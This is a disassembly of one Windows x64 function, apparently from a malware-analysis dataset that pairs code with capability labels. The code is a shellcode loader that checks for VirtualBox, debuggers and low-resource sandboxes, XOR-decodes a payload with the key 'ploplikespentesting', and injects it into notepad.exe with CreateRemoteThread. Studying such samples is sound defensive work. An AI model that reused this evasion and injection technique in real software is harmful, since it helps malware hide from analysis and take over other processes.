Function at 0x140001970
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate gui resources
Enumerate processes
Execute shellcode via windows callback function
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x610], rax
xor esi, esi
lea rdx, str.notepad.exe
mov r8d, 0x104
lea rcx, [rbp + 0x400]
mov edi, esi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
xor edx, edx
lea rcx, [rbp - 0x3c]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a51
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001a48
nop dword [rax]
lea rdx, [rbp + 0x400]
lea rcx, [rbp - 0x14]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140001a32
mov eax, dword [rbp - 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [0x1400018f0]
mov dword [rsp + 0x40], eax
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x140001a45
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001a00
jmp 0x140001a48
mov edi, dword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
lea rcx, [rbp - 0x70]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x50], 2
jb 0x140001c7b
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x1e
cmp eax, 2
jb 0x140001c7b
lea rax, [rsp + 0x40]
mov qword [rsp + 0x40], rsi
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREACPIFADTVBOX__
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ae7
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.VirtualBox_VM_reg_path_value_detected_:__n
jmp 0x140001c82
lea r8, str.SystemProductName
call fcn.140001070
test eax, eax
je 0x140001b03
lea rcx, str.VirtualBox_VM_reg_key_value_detected_:__n
jmp 0x140001c82
lea r8, str.BiosVersion
call fcn.140001070
test eax, eax
je 0x140001b1f
lea rcx, str.VirtualBox_VM_BIOS_version_detected_:__n
jmp 0x140001c82
call fcn.140001150
test eax, eax
je 0x140001b34
lea rcx, str.Debugger_detected_:__n
jmp 0x140001c82
lea rcx, [rbp - 0x40]
mov edx, 4
lea rax, [0x1400034c0]
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001b50
mov r9d, esi
lea rdx, [rbp - 0x40]
mov rax, rsi
lea r8, str.ploplikespentesting
nop dword [rax]
nop dword [rax + rax]
cmp rax, 0x13
lea rdx, [rdx + 1]
mov rcx, rsi
cmovne rcx, rax
inc r9d
movzx eax, byte [rcx + r8]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
cmp r9d, 0x200
jb 0x140001bc0
lea rax, [rbp + 0x200]
lea r8, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call fcn.140001200
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x1fe
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x1fe
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea r8, [rbp + 0x200]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001c98
lea rcx, str.possibly_launched_in_sandbox_:__n
call fcn.140001010
lea rcx, str.sandbox_detected__check_above_for_more_info_n
call fcn.140001010
mov eax, 0xfffffffe
mov rcx, qword [rbp + 0x610]
xor rcx, rsp
call fcn.140001cd0
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret